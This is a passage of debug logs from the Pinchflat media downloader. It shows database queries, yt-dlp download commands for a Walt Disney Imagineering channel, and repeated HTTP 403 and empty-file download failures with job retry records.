m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:05:50.140 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:05:50.141 [debug] QUERY OK source="sources" db=0.1ms idle=620.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.141 [debug] QUERY OK source="media_profiles" db=0.1ms idle=159.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:50.141 [debug] QUERY OK source="media_items" db=0.2ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:05:50.142 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:05:50.142 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:50.143 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:50.143 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:50.143 [debug] Running yt-dlp command for action: get_downloadable_status 19:05:50.143 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:50.143 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:50.144 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:50.144 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0a/3f/0a3fe5c4024a9b6b3f5060acb689ffeeb6728318365c86c5a440b48b2fa243c2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:05:55.574 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0a/3f/0a3fe5c4024a9b6b3f5060acb689ffeeb6728318365c86c5a440b48b2fa243c2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:05:55.574 [debug] Running yt-dlp command for action: download 19:05:55.574 [debug] QUERY OK source="settings" db=0.1ms idle=269.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:55.574 [debug] QUERY OK source="settings" db=0.1ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:55.575 [debug] QUERY OK source="settings" db=0.1ms idle=54.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:55.575 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/37/97/3797c1200b0b59e97959a6580c5f60919604c415f422c16e81469b79a37ba4fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:06:00.973 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:05.218 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/37/97/3797c1200b0b59e97959a6580c5f60919604c415f422c16e81469b79a37ba4fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:06:05.218 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:06:05.219 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":15078632,"event":"job:exception","queue_time":67852712,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:06:05.226 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998365226208965,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:06:05.226 [debug] QUERY OK source="media_items" db=0.1ms idle=1705.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:06:05.226 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:06:05.227 [debug] QUERY OK source="sources" db=0.1ms idle=908.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:06:05.227 [debug] QUERY OK source="media_profiles" db=0.2ms idle=706.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:06:05.227 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:06:05.228 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:06:05.228 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:06:05.229 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:05.229 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:05.229 [debug] Running yt-dlp command for action: get_downloadable_status 19:06:05.230 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:05.230 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:05.230 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:05.230 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/5b/d95bb33b127495038af9b0022a026686655ecda40c78131e637a679af8d33234.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:06:10.598 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/5b/d95bb33b127495038af9b0022a026686655ecda40c78131e637a679af8d33234.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:06:10.598 [debug] Running yt-dlp command for action: download 19:06:10.598 [debug] QUERY OK source="settings" db=0.1ms idle=273.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:10.598 [debug] QUERY OK source="settings" db=0.1ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:10.599 [debug] QUERY OK source="settings" db=0.0ms idle=78.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:06:10.599 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b5/1f/b51f3eb99ad79dac803d5ab2f703aaf0948f3c8199e7f5567a527cf98b7c19ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:06:19.983 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:49.984 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:55.082 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b5/1f/b51f3eb99ad79dac803d5ab2f703aaf0948f3c8199e7f5567a527cf98b7c19ed.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:06:55.082 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:06:55.082 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49856065,"event":"job:exception","queue_time":31640477,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:06:55.089 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998415089117333,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:06:55.089 [debug] QUERY OK source="media_items" db=0.1ms idle=708.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:06:55.089 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:06:55.089 [debug] QUERY OK source="sources" db=0.1ms idle=569.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:06:55.090 [debug] QUERY OK source="media_profiles" db=0.2ms idle=569.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:06:55.090 [debug] QUERY OK source="media_items" 